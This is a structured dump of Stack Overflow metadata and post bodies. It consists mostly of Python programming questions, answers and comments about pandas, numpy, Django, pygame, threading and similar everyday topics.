tagged with: python
answer count: 1
tagged with: docker
tagged with: google-cloud-platform

http://stackoverflow.com/q/47377936
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47378061
has title: Python/Pandas - count last duplicate rows in succession
score: 0
answer count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: data-analysis
has body: I have DataFrame like this: product_id dt products_qty 70063 2964562 2017-11-14 0.000 72719 2964562 2017-11-15 2.000 401533 2964562 2017-11-16 0.000 413201 2964562 2017-11-17 0.000 424227 2964562 2017-11-18 0.000 450345 2964733 2017-11-14 4.000 470446 2964733 2017-11-17 0.000 473233 2964733 2017-11-18 0.000 And I have to group dataframe by product_id column and count last duplicate rows. For example we don't count 70063 row even if it is duplicated with last rows. So the output should be this: product_id count 2964562 3.000 2964733 2.000
has answer: http://stackoverflow.com/a/47378061
upvote count: 1
tagged with: dataframe
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/81655194
type: Comment
has text: You are such a genius.Again you saved me.Thanks from bottom of my hearts.
type: AnswerComment
comment on: http://stackoverflow.com/a/47350850
score: 0

http://stackoverflow.com/a/47234079
answers question: http://stackoverflow.com/q/47233759
has comment: http://stackoverflow.com/comment/81418714
has body: You need to inspect the shape. Something like this: assert len(x.shape) == 2, "input must be 2D" assert x.shape[1] == 16, "input must have 16 columns" assert np.issubdtype(x.dtype, np.integer), "input must be integers"
has comment: http://stackoverflow.com/comment/81418758
has comment: http://stackoverflow.com/comment/81418891
has comment: http://stackoverflow.com/comment/81418719
has comment: http://stackoverflow.com/comment/81418830
type: Answer
has comment: http://stackoverflow.com/comment/81418931
score: 0
has comment: http://stackoverflow.com/comment/81419652

http://stackoverflow.com/q/47265578
score: 0
has title: Error when running RGFClassifier
answer count: 1
tagged with: greedy
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47365117
has body: I recently tried to run Regularized Greedy Forest algorithm (rgf Classifier) from this package https://pypi.python.org/pypi/rgf_python. I did run pip install rgf_python, but when I tried to run the example this error pops out in spyder: File "C:\Users\me\Anaconda3\lib\site-packages\rgf\sklearn.py", line 111, in &lt;module&gt; "config flag 'exe_location' to RGF execution file.".format(_EXE_PATH)) Exception: C:\Users\me\rgf.exe is not executable file. Please set config flag 'exe_location' to RGF execution file. What should I change in order for config the flag 'exe_location'? May sound beginner but can't find it anywhere.
tagged with: python

http://stackoverflow.com/q/47292603
has comment: http://stackoverflow.com/comment/81541317
tagged with: numpy
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81543948
has title: How do I organize an uneven matrix of many calculations in pandas / numpy / pandas
has body: I am calculating a model that requires a large number of calculations in a big matrix, representing interactions between households (numbering N, roughly 10E4) and firms (numbering M roughly 10E4). In particular, I want to perform the following steps: X2 is an N x M matrix representing pairwise distance between each household and each firm. The step is to multiply every entry by a parameter gamma. delta is a vector length M. The step is to broadcast multiply delta into the rows of the matrix from 1. Exponentiate the matrix from 2. Calculate the row sums of the matrix from 3. Broadcast division division by the row sum vector from 4 into the rows of the matrix from 3. w is a vector of length N. The step is to broadcast multiply w into the columns of the matrix from 5. The final step is to take column sums of the matrix from 6. These steps have to be performed 1000s of times in the context of matching the model simulation to data. At the moment, I have an implementation using a big NxM numpy array and using matrix algebra operations to perform the steps as described above. I would like to be able to reduce the number of calculations by eliminating all the "cells" where the distance is greater than some critical value r. How can I organize my data to do this, while performing all the operations I need to do (exponentiation, row/column sums, broadcasting across rows and columns)? The solution I have in mind is something like storing the distance matrix in "long form", with each row representing a household / firm pair, rather than the N x M matrix, deleting all the invalid rows to get an array whose length is something less than NM, and then performing all the calculations in this format. In this solution I am wondering if I can use pandas dataframes to make the "broadcasts" and "row sums" work properly (and quickly). How can I make that work? (Or alternately, if there is a better way I should be exploring, I'd love to know!)
tagged with: sparse-matrix
type: Question
score: 0
tagged with: pandas
tagged with: matrix
has comment: http://stackoverflow.com/comment/81535705
tagged with: python

http://stackoverflow.com/comment/81496121
type: QuestionComment
comment on: http://stackoverflow.com/q/47272525
has text: Therefore, I need to iterate through the indices in the list, not the list itself?
score: 0
type: Comment

http://stackoverflow.com/a/47306249
has body: Here's a simple example: temp = "$6962.29" temp = temp.strip("$") # Removes $ from both sides temp = float(temp) # Converts to float temp += 2 # Adding 2 print(temp) It should give 6264.29 as output, because we've added 2 to the number.
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47306156

http://stackoverflow.com/a/47327441
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47327391
has comment: http://stackoverflow.com/comment/81606065
has body: Use pd.DataFrame.drop_duplicates df.drop_duplicates() id event_path 0 111 google.com 1 111 yandex.ru 2 111 vk.com 3 222 twitter.com 5 333 twitter.com 6 333 facebook.com IIUC: OP wants to remove only when duplicate is adjacent. df[df.eq(df.shift().bfill()).any(1)] id event_path 0 111 google.com 1 111 yandex.ru 2 111 vk.com 4 222 twitter.com 5 333 twitter.com 6 333 facebook.com
has comment: http://stackoverflow.com/comment/81605861
has comment: http://stackoverflow.com/comment/81605816
score: 3
upvote count: 3

http://stackoverflow.com/comment/81575291
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47309455
has text: Thanks for the suggestion. In fact I had an assignment due by tomorrow.. I’ll edit my question to make it simpler. Secondly it can be done with even two single lines. I’ll add few lines of code in a while. But that provides partial solution. May be someone who used those functions can help me..

http://stackoverflow.com/q/47360803
has comment: http://stackoverflow.com/comment/81674804
has comment: http://stackoverflow.com/comment/81674560
upvote count: 1
linked to: http://stackoverflow.com/q/45826096
has comment: http://stackoverflow.com/comment/81674838
has title: apply + list comprehension gives ValueError when returned list length is same as number of data frame columns
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/46137355
linked to: http://stackoverflow.com/q/33677780
tagged with: pandas
has comment: http://stackoverflow.com/comment/81674686
has comment: http://stackoverflow.com/comment/81674554
score: 1
accepted answer: http://stackoverflow.com/a/47666741
has comment: http://stackoverflow.com/comment/81674868
tagged with: python
has comment: http://stackoverflow.com/comment/81674677
has answer: http://stackoverflow.com/a/47666741
has comment: http://stackoverflow.com/comment/81675674
favorite count: 0
has comment: http://stackoverflow.com/comment/81676744
type: Question
linked to: http://stackoverflow.com/q/45928415
has comment: http://stackoverflow.com/comment/81674812
has comment: http://stackoverflow.com/comment/81674701
has body: This question is born of this comment thread. Using Pandas 0.20.3. I'm trying to understand why an apply() operation throws the error: ValueError: Wrong number of items passed 2, placement implies 1 This specific flavor of Pandas ValueError is not uncommon, but it usually comes from a more obvious attempt to cram a bunch of elements into a data structure that is designed for a lesser capacity. The same thing must be going on here, but I can't figure out why. Given a data frame with columns of integers A and B: import pandas as pd df = pd.DataFrame({'A': [1,2], 'B': [3,4]}) df A B 0 1 3 1 2 4 I can construct a new column, C, which is a column of lists. Each list in C contains values from A and B. C should look like: C [1, 3] [2, 4] I am choosing to build C using apply() and a list comprehension: df['C'] = df.apply(lambda x: [val for val in x], axis=1) (For now, please overlook the possibility that this is not the most elegant way to achieve this goal - it's mainly a route to get to the error I'm confused about.) This throws the ValueError noted above. But, I can create lists with more items per row without difficulty: df['C'] = df.apply(lambda x: [val for val in x]+[1], axis=1) df A B C 0 1 3 [1, 3, 1] 1 2 4 [2, 4, 1] I would have thought that I'd get the same error, just with Wrong number of items passed 3... instead of 2. I can also create C with fewer items: df['C'] = df.apply(lambda x: [val for val in x][:1], axis=1) df A B C 0 1 3 [1] 1 2 4 [2] Additionally, C builds when the first row's list length is shorter or longer than [1,3], but fails when the first row's list length matches len([1,3]), even if subsequent list lengths are different: df['C'] = df.apply(lambda x: [val for val in x if val != 1], axis=1) # this works df['C'] = df.apply(lambda x: [val for val in x if val != 4], axis=1) # this fails Given all of these different cases, I don't understand what placement implies 1 is referring to, and why I can't just make the lists in C with the elements of A and…
linked to: http://stackoverflow.com/q/43196907
has comment: http://stackoverflow.com/comment/81674885
has comment: http://stackoverflow.com/comment/81674583
answer count: 1
downvote count: 0

http://stackoverflow.com/q/47267306
type: Question
has comment: http://stackoverflow.com/comment/81497029
tagged with: c#
has body: I have a 3rd party dynamically-linked-library given to me by a vendor. The library is object oriented. I'm currently trying to access this library from either .Net or C#, however, when trying to call methods, no methods are available in .Net Support for these libraries is given by a programmer working with Python. Here is the Python Sample I was given: import win32com.client OLSV = Win32com.client.Dispatch("LsvEmu.LsvEmulator") OLSV.BaseUnit Here is what I've tried in C# using System; using LsvComLib; using System.Reflection; using System.Reflection.Emit; using LsvEmuLib; namespace LsvDemo { class Program { static void TestEmu() { //LsvEmu should include Connect, and ConnectEx methods var lsvEmu = new LsvEmulator(); //EmulationMode is a property, and all that is available other than ToString, etc Console.WriteLine(lsvEmu.EmulationMode); //Attempt to use reflection to find a Dispatch equivalent in C# Type mytype = (typeof(LsvEmulator)); //public //No further methods found MethodInfo[] myArrayMethodInfo = mytype.GetMethods(BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly); DisplayMethodInfo(myArrayMethodInfo); //private //No further methods found MethodInfo[] myArrayMethodInfo1 = mytype.GetMethods(BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly); // Display information for all methods. DisplayMethodInfo(myArrayMethodInfo1); } } What would be an appropriate equivalent to the Python Dispatch call? Furthermore, why are the expected methods not available through reflection? It seems that this software vendor might not have access to all of the original source code, so I'm not sure how much help they would be. This library is meant to emulate another library they gave to us that makes ethernet calls to their devices. If lack of available methods shown via reflection is due to poor implementation, we may build our own emulator instead.
has answer: http://stackoverflow.com/a/56639106
upvote count: 2
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/96798065
tagged with: dispatch
score: 2
tagged with: dll
has title: Win32com.client.dispatch Python call Equivalent in C#
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81498544
has comment: http://stackoverflow.com/comment/81486559
favorite count: 0

transformation
tags question: http://stackoverflow.com/q/47290759
type: Tag
tag name: transformation

http://stackoverflow.com/q/47298825
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/81549104
has comment: http://stackoverflow.com/comment/81549054
tagged with: python-3.5
answer count: 1
downvote count: 0
upvote count: 1
has body: How can I do the following: import typing def needs_parameter_type(decorated): def decorator(*args): [do something with the *type* of bar (aka args[0]), some_class] decorated(*args) return decorator @needs_parameter_type def foo(bar: SomeClass): … foo(…) The use case is to avoid the following repetition: @needs_parameter_type(SomeClass) def foo(bar: SomeClass): …
score: 1
accepted answer: http://stackoverflow.com/a/47298879
favorite count: 0
has title: How to get argument type hint in decorator?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47298879
has comment: http://stackoverflow.com/comment/81549754

http://stackoverflow.com/q/47242986
favorite count: 0
has title: 'float/str/int' object is not callable error
tagged with: python-3.x
type: AnsweredQuestion
tagged with: object
score: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47243055
tagged with: class
has answer: http://stackoverflow.com/a/47243055
type: Question
has body: This is my current rough code: class Bank: def __init__(self, name, account_number, balance): self.name = name self.account_number = account_number self.balance = balance self.transactions = 0 def balance(self): if self.balance &gt;= 0: print("Your balance is $" + str(round(self.balance, 2)) + ".") elif self.balance &lt; 0: print("Your balance is -$" + str(round(self.balance, 2)) + ".") def deposit(self, amount): if amount &gt;= 0: self.balance = self.balance + amount if self.balance &gt;= 0: print("You deposited $" + str(round(amount, 2)) + " into your account, your balance is now $" + str(round(self.balance, 2)) + ".") elif self.balance &lt; 0: print("You deposited $" + str(round(amount, 2)) + " into your account, your balance is now -$" + str(round(self.balance, 2)) + ".") self.transactions += 1 else: print("Transaction failed, you cannot deposit a negative amount of money.") def withdraw(self, amount): if amount &gt;= 0: self.balance = self.balance - amount if self.balance &gt;= 0: print("You withdrew $" + str(round(amount, 2)) + " out of your account, your balance is now $" + str(round(self.balance, 2)) + ".") elif self.balance &lt; 0: print("You withdrew $" + str(round(amount, 2)) + " out of your account, your balance is now -$" + str(round(self.balance, 2)) + ".") self.transactions += 1 else: print("Transaction failed, you cannot withdraw a negative amount of money.") def summary(self): if self.balance &gt;= 0: print("Hi " + self.name + " with account# " + str(self.account_number) + ", you have made " + str(self.transactions) + " transactions and your current balance is now $" + str(round(self.balance, 2)) + ".") elif self.balance &lt; 0: print("Hi " + self.name + " with account# " + str(self.account_number) + ", you have made " + str(self.transactions) + " transactions and your current balance is now -$" + str(round(self.balance, 2)) + ".") name1 = str(input("Please enter your name: ")) account_number1 = int(input("Please enter " + name1 + "'s account#: ")) …
answer count: 1
downvote count: 0
upvote count: 1

xmlhttprequest
tags question: http://stackoverflow.com/q/47268054
tag name: xmlhttprequest
type: Tag

http://stackoverflow.com/q/47314123
tagged with: timeout
tagged with: ssh
has body: Ok, so it's possible that the answer to this question is simply "stop using parallel-ssh and write your own code using netmiko/paramiko. Also, upgrade to python 3 already." But here's my issue: I'm using parallel-ssh to try to hit as many as 80 devices at a time. These devices are notoriously unreliable, and they occasionally freeze up after giving one or two lines of output. Then, the parallel-ssh code hangs for hours, leaving the script running, well, until I kill it. I've jumped onto the VM running the scripts after a weekend and seen a job that's been stuck for 52 hours. The relevant pieces of my first code, the one that hangs: from pssh.pssh2_client import ParallelSSHClient def remote_ssh(ip_list, ssh_user, ssh_pass, cmd): client = ParallelSSHClient(ip_list, user=ssh_user, password=ssh_pass, timeout=180, retry_delay=60, pool_size=100, allow_agent=False) result = client.run_command(cmd, stop_on_errors=False) return result The next thing I tried was the channel_timout option, because if it takes more than 4 minutes to get the command output, then I know that the device froze, and I need to move on and cycle it later in the script: from pssh.pssh_client import ParallelSSHClient def remote_ssh(ip_list, ssh_user, ssh_pass, cmd): client = ParallelSSHClient(ip_list, user=ssh_user, password=ssh_pass, channel_timeout=180, retry_delay=60, pool_size=100, allow_agent=False) result = client.run_command(cmd, stop_on_errors=False) return result This version never actually connects to anything. Any advice? I haven't been able to find anything other than channel_timeout to attempt to kill an ssh session after a certain amount of time.
type: Question
has title: Parallel-SSH - how to close ssh channel after a certain time?
tagged with: parallel-ssh
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47454466
tagged with: python-2.7
score: 0
answer count: 1

http://stackoverflow.com/q/47317047
type: Question
has comment: http://stackoverflow.com/comment/81585734
has answer: http://stackoverflow.com/a/47317158
linked to: http://stackoverflow.com/q/2600191
tagged with: python
has comment: http://stackoverflow.com/comment/81585198
has title: Python 4.7: How to count the frequency of specific value in array
upvote count: 4
duplicate of: http://stackoverflow.com/q/2600191
has answer: http://stackoverflow.com/a/47317108
tagged with: numpy
has comment: http://stackoverflow.com/comment/81585159
score: 0
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/81585134
has comment: http://stackoverflow.com/comment/81585124
type: UnansweredQuestion
has body: Basically I have a list with 250 elements, some of them are 1 some 2 and some 3. How do I get a variable that represents the number of ‘1’s ?
has comment: http://stackoverflow.com/comment/81585304
favorite count: 0

http://stackoverflow.com/a/47234263
answers question: http://stackoverflow.com/q/47234176
has body: I think you have a typo here pirates.process( 0, [( 'Q', 10000 ), ( 'S', 9000), ]) you should close the list and remove the trailing comma pirates.process( 0, [( 'Q', 10000 ), ( 'S', 9000 )])
score: 0
type: Answer

http://stackoverflow.com/comment/81544119
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47296368
has text: by 'conda command prompt' you mean the terminal console right? And so it says: The following NEW packages will be INSTALLED: seaborn: 0.8.0-py27h92884e4_0 anaconda The following packages will be SUPERSEDED by a higher-priority channel: conda: 4.3.30-py27h407ed3a_0 --> 4.3.30-py27h407ed3a_0 anaconda conda-env: 2.6.0-0 --> 2.6.0-h36134e3_0 anaconda
type: Comment

http://stackoverflow.com/comment/81514208
comment on: http://stackoverflow.com/a/47281770
has text: Rather than show some arbitrary micro-benchmark you created (using a very old version of Python 3) you should check out a proper benchmark, such as: https://speed.python.org/comparison/ which shows that the newest versions of Python 3 are pretty much as fast as Python 2.7 (in some cases even faster)
score: 3
type: AnswerComment
type: Comment

http://stackoverflow.com/a/47380580
has comment: http://stackoverflow.com/comment/81713892
has comment: http://stackoverflow.com/comment/103753671
accepted answer of: http://stackoverflow.com/q/47380442
has comment: http://stackoverflow.com/comment/81714186
has comment: http://stackoverflow.com/comment/97162598
has comment: http://stackoverflow.com/comment/103760740
has comment: http://stackoverflow.com/comment/120461632
has comment: http://stackoverflow.com/comment/120462440
type: Answer
has comment: http://stackoverflow.com/comment/120463413
has body: If you want to be able to .join a thread, it's better to not make it a daemon. Daemon threads are for when you want a thread to do its thing and you're not too concerned about when or if it finishes. The point of making daemon threads is that the program will exit when there are no non-daemon threads left alive. From the threading docs: A thread can be flagged as a “daemon thread”. The significance of this flag is that the entire Python program exits when only daemon threads are left. The initial value is inherited from the creating thread. The flag can be set through the daemon property or the daemon constructor argument. You can actually call .join on daemon threads, but it's generally considered to be not good practice. You could get a daemon thread to set an Event just before it finishes, which one or more other threads check, but it's simpler just to use a non-daemon thread and .join it. An earlier version of this answer claimed that you can't .join a daemon thread. That's incorrect. I was getting mixed up with dummy threads. Sorry about that. :oops:
has comment: http://stackoverflow.com/comment/81713966
has comment: http://stackoverflow.com/comment/120467879
score: 12
upvote count: 12
has comment: http://stackoverflow.com/comment/103761328
answers question: http://stackoverflow.com/q/47380442
downvote count: 0
has comment: http://stackoverflow.com/comment/97147665
has comment: http://stackoverflow.com/comment/81713528
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/103753913

http://stackoverflow.com/q/47318240
has comment: http://stackoverflow.com/comment/81587742
accepted answer: http://stackoverflow.com/a/47318334
type: Question
has comment: http://stackoverflow.com/comment/81587738
tagged with: python
has body: So I am trying to make a code for school where it makes a hollow triangle with a symbol input and a maximum number of symbol input. Instead of creating a triangle, it is instead making a vertical line of the symbols, so with an input of A and 9, instead of this: A A A A A A A AAAAAAAAA It Gives me a long line of A's Here is my code def SetValues(): global symbol symbol = input("Enter Symbol: ") InputMaxNumberOfSymbols() global NumberOfSpaces NumberOfSpaces = (MaxNumberOfSymbols - 1) / 2 global NumberOfSymbols NumberOfSymbols = 1 def InputMaxNumberOfSymbols(): global MaxNumberOfSymbols MaxNumberOfSymbols = int(input("Max Number of symbols: ")) while MaxNumberOfSymbols % 2 == 0: MaxNumberOfSymbols = int(input("Max Number of symbols: ")) def OutputSpaces(): for i in range(0, int(NumberOfSpaces)): print(" ") def OutputSymbols(): for i in range(0, NumberOfSymbols): print(symbol) print("\n") def AdjustValuesForNextRow(): global NumberOfSpaces NumberOfSpaces -= 1 global NumberOfSymbols NumberOfSymbols += 2 #Main Code SetValues() while not NumberOfSymbols &gt; MaxNumberOfSymbols: OutputSpaces() OutputSymbols() AdjustValuesForNextRow()
has comment: http://stackoverflow.com/comment/81587733
has title: Code for making a triangle not working
type: AnsweredQuestion
upvote count: 0
downvote count: 3
score: -3
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47318334

hiveql
tag name: hiveql
tags question: http://stackoverflow.com/q/47346443
type: Tag

http://stackoverflow.com/comment/81535077
comment on: http://stackoverflow.com/a/47273940
has text: Unfortunately it doesn't help in my case. As a workaround I think about running VBA code from inside of Python but it doesn't seem to be the best practice...
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47320032
has comment: http://stackoverflow.com/comment/81591645
has comment: http://stackoverflow.com/comment/81592319
has body: You must choose whether you want issame() in the class, or outside, but it cannot be a hybrid of a little bit of both: You must also override the __eq__ method of your Node class in order to compare two nodes with the operator == issame as a method: class Node: """To create nodes each time an instance has been created""" def __init__(self, key): self.data = key self.left = None self.right = None def __eq__(self, other): assert isinstance(other, Node) return self.data == other.data \ and self.left == other.left \ and self.right == other.right def issame(self, root2): return self == root2 """To insert the data manually""" ##First Tree root1 = Node(10) root1.left = Node(20) root1.right = Node(30) root1.left.left = Node(50) ##Second Tree root2 = Node(20) root2.left = Node(20) root2.right = Node(30) root2.left.left = Node(50) root1.issame(root2) #&lt;-- here you are calling issame on root1, with root2 as argument issame as a function: class Node: """To create nodes each time an instance has been created""" def __init__(self, key): self.data = key self.left = None self.right = None def __eq__(self, other): assert isinstance(other, Node) return self.data == other.data \ and self.left == other.left \ and self.right == other.right def issame(root1, root2): return root1 == root2 """To insert the data manually""" ##First Tree root1 = Node(10) root1.left = Node(20) root1.right = Node(30) root1.left.left = Node(50) ##Second Tree root2 = Node(20) root2.left = Node(20) root2.right = Node(30) root2.left.left = Node(50) issame(root1, root2) # &lt; attention, different way of calling # here you are calling issame passing root 1 and root2 as arguments
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81594455
score: 3
answers question: http://stackoverflow.com/q/47319959
has comment: http://stackoverflow.com/comment/81594331
type: Answer

http://stackoverflow.com/a/47375340
upvote count: 1
has body: You can use generators for this by calling next() on each button click. A little example of how: import tkinter as tk def plusten(x): i = 0 while i&lt;x: yield i yield i+10 i += 1 def next_item(): if gen: try: lbl["text"] = next(gen) #calls the next item of generator except StopIteration: lbl["text"] = "End of iteration" #if generator is exhausted, write an error else: lbl["text"] = "start loop by entering a number and pressing start loop button" def start_gen(): global gen try: gen = plusten(int(ent.get())) lbl["text"] = "loop started with value: " + ent.get() except ValueError: lbl["text"] = "Enter a valid value" gen = None root = tk.Tk() ent = tk.Entry() ent.pack() tk.Button(root, text="start loop", command=start_gen).pack() tk.Button(root, text="next item", command=next_item).pack() lbl = tk.Label(root, text="") lbl.pack() root.mainloop()
answers question: http://stackoverflow.com/q/47373108
accepted answer of: http://stackoverflow.com/q/47373108
score: 1
type: Answer
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47308574
score: 0
type: UnansweredQuestion
answer count: 1
tagged with: django
has answer: http://stackoverflow.com/a/47317876
has title: django forms: could not get manually added(HTML) nested object fields
tagged with: formset
has comment: http://stackoverflow.com/comment/81571951
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/81571509
tagged with: django-forms
has body: I am trying to implement django admin like inline addition of related objects in my app. Totally new to django but I am experienced with ROR and Laravel and happen to be good with ajax, so I don't want to go into nested formsets from django and want to add related objects form using ajax as I would traditionally do in anywhere else. Just be careful about naming of input fields so you can get them on controller side nicely in an array. In form.html I am simply adding something like this; Name Attr This is just an example to give you visual of how my html is generated. I've mutiple items in my form. Traditional on server side I would get a form object(request input) like this; at-least in Laravel [form=> [ "some_attr"=>"val", "items"=> [ "1"=> [ "name"=>"some name", "attr"=> "some val" ] ] ] ] The main point here is that I would get and array of items in my request on controller side and can iterate over it. PROBLEM I am doing everything same as described above but when I am trying to access data from controller side. It doesn't convert items fields to array of objects. When I print form.data, I get something like this, <QueryDict: {'csrfmiddlewaretoken': ['C5i6Ge7aQMvoMlHODjwgMziXE7RcIs5F99ibo7YsSZnZKF9z2TdMlwhep8OB668M'], 'some_parent_attr': ['value'], 'status': ['1'], 'items[5][name]': ['some name'], 'items[5][attr]': ['some val'] .... Django does not convert items to array it simply makes it a string key like 'items[5][name]' which cannot be iterated. As I'd have multiple objects with random ids so it is not possible to get all items from this dictionary using there keys. Is there a way that I don't know about to get it working? Somehow can be formatted as I expect it to? Or this cannot be done this way? I would really appreciate any guidance/help with this problem.
type: Question

http://stackoverflow.com/comment/81399248
type: QuestionComment
score: 0
has text: who upvoted this question? there are like 100 answers out there explaining what you need to do
comment on: http://stackoverflow.com/q/47224537
type: Comment

http://stackoverflow.com/q/47248644
type: Question
tagged with: pycharm
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/47248759
favorite count: 0
has answer: http://stackoverflow.com/a/47248759
type: AnsweredQuestion
has title: PyCharm configuration
score: 1
has body: I started a python project and attempted to have it OOP. I used a script to call function from classes, in the following way: class Object(): def function(input): print(input) The command Object.Object.function("example") used to work fine. I had to reinstall pycharm, and now when running the same code I get the error of not sending enough input. This can be solved by changing the call to Object.Object().function("example"), and the function definition to def function(a,input): Where the variable a is never used. This however causes new problems when using libraries. How can I use the previous configuration?
tagged with: python

http://stackoverflow.com/q/47297209
upvote count: 1
has title: Python / Pygame - How to blit different transparencies onto an invisible surface
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81547625
tagged with: blit
accepted answer: http://stackoverflow.com/a/47298105
favorite count: 0
tagged with: transparency
type: AnsweredQuestion
score: 1
tagged with: pygame
tagged with: image
has answer: http://stackoverflow.com/a/47298105
type: Question
has body: I was wondering if it is possible to blit two images with let's say 120 and 200 alpha on to a surface with 0 alpha. For example: Here are all my variables game_display = pygame.display.set_mode((1280, 720)) transparent_display = pygame.Surface((1280, 720), pygame.SRCALPHA) transparent_display.set_alpha(0) object1 = pygame.Surface((100, 100)) object1.fill((255, 0, 0)) object2 = pygame.Surface((150, 50)) object2.fill((0, 0, 255)) Now I want to make a single surface (image) with all the components added into it (I want them all on one surface so I don't have to load each surface each game loop cycle) transparent_display.blit(object1, (0, 0)) transparent_display.blit(object2, (50, 50)) game_display.blit(transparent_display, (0, 0) I apologize as I do not have very much knowledge on the subject of alphas with surfaces in pygame. Also, I know to update the screen and everything, that is not the issue. (comment below if something isn't clear enough and I will elaborate)
downvote count: 0

http://stackoverflow.com/comment/81574473
type: Comment
has text: The problem is the target class, if I specify on the method 'state':'draft' it should create the target object like that, but it never does, and it's apparently because of two computed fields.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47302597

http://stackoverflow.com/comment/81498378
type: Comment
comment on: http://stackoverflow.com/q/47269997
score: 0
has text: I am not really that familiar with Wand. But often with other interfaces, Ghostscript needs to be in the PATH used by that interface. This often happens with PHP Imagick, for example. So be sure you have that set. Alternately, you can edit the delegates.xml file for PS and put the full path to Ghostscript. Note, your command line command is actually not proper syntax, though IM 6 is rather forgiving. Your should read the input before other commands. It should properly be `convert Lucy.pdf[0] -thumbnail x300 -background white -alpha remove output_thumbnail.jpg`. What was your Wand command?
type: QuestionComment

http://stackoverflow.com/q/47316020
has body: I've ran into problem with Django Poll tutorial. For some reason, I keep getting AttributeError: 'Question' object has no attribute 'question_text' I've been following tutorial step by step, not sure what went wrong. Mmodels.py: from django.db import models import datetime from django.utils import timezone class Question(models.Model): # ... def __str__(self): return self.question_text def was_published_recently(self): return self.pub_date &gt;= timezone.now() - datetime.timedelta(days=1) class Choice(models.Model): # ... def __str__(self): return self.choice_text
has comment: http://stackoverflow.com/comment/81583088
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81584383
has answer: http://stackoverflow.com/a/47316280
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81582981
tagged with: django
has comment: http://stackoverflow.com/comment/81583151
score: 0
has title: Django poll tutorial AttributeError
has comment: http://stackoverflow.com/comment/81583267

http://stackoverflow.com/q/47277656
type: AnsweredQuestion
has body: def processStrings(userPhrase): """ This function will accept the phrase as string and will count every instance of vowel then return a dictionary with key:values of each vowel and amount of occurrences in string. """ vowelCount = {i:userPhrase.count(i) for i in 'AEIOU'} return (vowelCount) I am new to StackOverflow and Programming. I wrote this function as part of small program for class and am now curious to know what the most efficient solution would be. We were told to demonstrate a strong understanding of applicable concepts in developing an efficient solution, as far as I can tell this has to pretty close since it uses a dictionary and the count() is supposed to be good. I am wondering if I missed something like in that it has to iterate over the entire phrase 5 times to get the values but I can't figure out if there is a better solution that would mean less processing time or memory usage say if I used the function for a much larger string and searched more than just vowels or something.
score: 1
has comment: http://stackoverflow.com/comment/81579844
tagged with: python
has comment: http://stackoverflow.com/comment/81506956
has title: is there a more efficient way to count how many vowels in a string?
type: Question
accepted answer: http://stackoverflow.com/a/47277697
has comment: http://stackoverflow.com/comment/81506347
has comment: http://stackoverflow.com/comment/81507288
has answer: http://stackoverflow.com/a/47277697
upvote count: 2
has comment: http://stackoverflow.com/comment/81579492
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81506754

http://stackoverflow.com/a/47317809
upvote count: 2
has body: I can't find documentation to back this up, but it seems that the type returned is being converted to ndarray when there's a reduction in dimension from the Series input. This happens with diff but not with log. Taking the simple example: x = pd.Series(range(5)) change = np.log(x / x.shift(1)) # Series of float64 of length 5 another_change = np.diff(np.log(x)) # array of float64 of length 4 We can observe that x / x.shift(1) is still a 5-element Series (even though elements 0 and 1 are NaN and inf) So np.log, which doesn't reduce dimension, will still return a 5-element something, which matches the dimensionality of x. However, np.diff does reduce dimension -- it is supposed to return (according to doc) diff : ndarray The n-th differences. The shape of the output is the same as a except along axis where the dimension is smaller by n. [...] The next sentence appears in the above doc for numpy 1.13 but not 1.12 and earlier: [...] The type of the output is the same as that of the input. So the type of the output is still an array-like structure, but because of the dimension being reduced, perhaps it doesn't get re-converted to a Series (the array-like input). At least in versions 1.12 and earlier. That's my best guess.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47316999
accepted answer of: http://stackoverflow.com/q/47316999
type: Answer
score: 2

http://stackoverflow.com/a/47376551
downvote count: 1
has body: Use this: def count_letter_b(string): return string.lower().count('b') print(count_letter_b(string))
answers question: http://stackoverflow.com/q/47376495
type: Answer
score: -1
upvote count: 0

http://stackoverflow.com/q/47269016
has comment: http://stackoverflow.com/comment/81489286
score: 0
has comment: http://stackoverflow.com/comment/81489067
answer count: 0
